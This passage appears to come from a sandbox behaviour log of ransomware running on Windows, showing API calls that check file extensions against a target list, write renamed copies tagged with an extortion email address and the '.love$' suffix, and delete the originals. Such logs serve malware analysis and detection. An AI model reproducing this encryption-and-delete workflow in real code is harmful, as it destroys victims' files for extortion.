lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString=".1cd") returned 4 [0255.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString=".jpg") returned 4 [0255.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString=".doc") returned 4 [0255.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString=".docx") returned 5 [0255.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.602] lstrlenW (lpString=".pdf") returned 4 [0255.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString=".xls") returned 4 [0255.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.603] lstrlenW (lpString=".xlsx") returned 5 [0255.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.603] lstrlenW (lpString=".ppt") returned 4 [0255.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.603] lstrlenW (lpString=".zip") returned 4 [0255.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.603] lstrlenW (lpString=".rar") returned 4 [0255.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.603] lstrlenW (lpString=".bz2") returned 4 [0255.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.603] lstrlenW (lpString=".7z") returned 3 [0255.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.603] lstrlenW (lpString=".dbf") returned 4 [0255.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.603] lstrlenW (lpString=".1cd") returned 4 [0255.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.603] lstrlenW (lpString=".jpg") returned 4 [0255.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.603] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.603] lstrlenW (lpString="HH00334_.WMF") returned 12 [0255.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.605] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1528) returned 1 [0255.605] CloseHandle (hObject=0x3c4) returned 1 [0255.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0255.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.606] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.606] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.608] GetLastError () returned 0x0 [0255.608] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0255.609] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x600, lpOverlapped=0x0) returned 1 [0255.611] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.611] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.611] SetEndOfFile (hFile=0x540) returned 1 [0255.611] CloseHandle (hObject=0x540) returned 1 [0255.611] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.612] SetEndOfFile (hFile=0x3c4) returned 1 [0255.614] CloseHandle (hObject=0x3c4) returned 1 [0255.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0255.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.616] lstrlenW (lpString=".doc") returned 4 [0255.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.616] lstrlenW (lpString=".docx") returned 5 [0255.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.616] lstrlenW (lpString=".pdf") returned 4 [0255.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.616] lstrlenW (lpString=".xls") returned 4 [0255.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.616] lstrlenW (lpString=".xlsx") returned 5 [0255.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.616] lstrlenW (lpString=".ppt") returned 4 [0255.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.616] lstrlenW (lpString=".zip") returned 4 [0255.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.616] lstrlenW (lpString=".rar") returned 4 [0255.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString=".bz2") returned 4 [0255.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString=".7z") returned 3 [0255.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString=".dbf") returned 4 [0255.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString=".1cd") returned 4 [0255.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString=".jpg") returned 4 [0255.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString=".doc") returned 4 [0255.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString=".docx") returned 5 [0255.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.617] lstrlenW (lpString=".pdf") returned 4 [0255.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString=".xls") returned 4 [0255.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.617] lstrlenW (lpString=".xlsx") returned 5 [0255.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.617] lstrlenW (lpString=".ppt") returned 4 [0255.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.617] lstrlenW (lpString=".zip") returned 4 [0255.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.617] lstrlenW (lpString=".rar") returned 4 [0255.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.617] lstrlenW (lpString=".bz2") returned 4 [0255.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.618] lstrlenW (lpString=".7z") returned 3 [0255.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.618] lstrlenW (lpString=".dbf") returned 4 [0255.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.618] lstrlenW (lpString=".1cd") returned 4 [0255.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0255.618] lstrlenW (lpString=".jpg") returned 4 [0255.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.618] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.618] lstrlenW (lpString="HH00443_.WMF") returned 12 [0255.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.620] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3298) returned 1 [0255.620] CloseHandle (hObject=0x3c4) returned 1 [0255.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0255.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.620] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.621] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.622] GetLastError () returned 0x0 [0255.622] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xce2, lpOverlapped=0x0) returned 1 [0255.624] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0255.625] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.625] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.625] SetEndOfFile (hFile=0x540) returned 1 [0255.627] CloseHandle (hObject=0x540) returned 1 [0255.627] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.627] SetEndOfFile (hFile=0x3c4) returned 1 [0255.635] CloseHandle (hObject=0x3c4) returned 1 [0255.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.636] lstrlenW (lpString=".doc") returned 4 [0255.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.636] lstrlenW (lpString=".docx") returned 5 [0255.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.636] lstrlenW (lpString=".pdf") returned 4 [0255.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.636] lstrlenW (lpString=".xls") returned 4 [0255.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.636] lstrlenW (lpString=".xlsx") returned 5 [0255.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.637] lstrlenW (lpString=".ppt") returned 4 [0255.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString=".zip") returned 4 [0255.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.637] lstrlenW (lpString=".rar") returned 4 [0255.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString=".bz2") returned 4 [0255.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString=".7z") returned 3 [0255.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString=".dbf") returned 4 [0255.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString=".1cd") returned 4 [0255.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString=".jpg") returned 4 [0255.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.637] lstrlenW (lpString=".doc") returned 4 [0255.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString=".docx") returned 5 [0255.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.637] lstrlenW (lpString=".pdf") returned 4 [0255.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.637] lstrlenW (lpString=".xls") returned 4 [0255.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.637] lstrlenW (lpString=".xlsx") returned 5 [0255.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.638] lstrlenW (lpString=".ppt") returned 4 [0255.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.638] lstrlenW (lpString=".zip") returned 4 [0255.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.638] lstrlenW (lpString=".rar") returned 4 [0255.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.638] lstrlenW (lpString=".bz2") returned 4 [0255.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.638] lstrlenW (lpString=".7z") returned 3 [0255.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.638] lstrlenW (lpString=".dbf") returned 4 [0255.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.638] lstrlenW (lpString=".1cd") returned 4 [0255.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0255.638] lstrlenW (lpString=".jpg") returned 4 [0255.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.638] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.638] lstrlenW (lpString="HH00513_.WMF") returned 12 [0255.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.639] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=818) returned 1 [0255.639] CloseHandle (hObject=0x3c4) returned 1 [0255.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0255.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.640] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.640] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.641] GetLastError () returned 0x0 [0255.641] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x332, lpOverlapped=0x0) returned 1 [0255.741] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x340, lpOverlapped=0x0) returned 1 [0255.743] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.743] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.743] SetEndOfFile (hFile=0x540) returned 1 [0255.748] CloseHandle (hObject=0x540) returned 1 [0255.749] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.749] SetEndOfFile (hFile=0x3c4) returned 1 [0255.781] CloseHandle (hObject=0x3c4) returned 1 [0255.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.736] lstrlenW (lpString=".doc") returned 4 [0256.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.736] lstrlenW (lpString=".docx") returned 5 [0256.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.736] lstrlenW (lpString=".pdf") returned 4 [0256.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.736] lstrlenW (lpString=".xls") returned 4 [0256.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.736] lstrlenW (lpString=".xlsx") returned 5 [0256.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.736] lstrlenW (lpString=".ppt") returned 4 [0256.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.736] lstrlenW (lpString=".zip") returned 4 [0256.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.737] lstrlenW (lpString=".rar") returned 4 [0256.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString=".bz2") returned 4 [0256.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString=".7z") returned 3 [0256.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.737] lstrlenW (lpString=".dbf") returned 4 [0256.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.737] lstrlenW (lpString=".1cd") returned 4 [0256.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.737] lstrlenW (lpString=".jpg") returned 4 [0256.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.737] 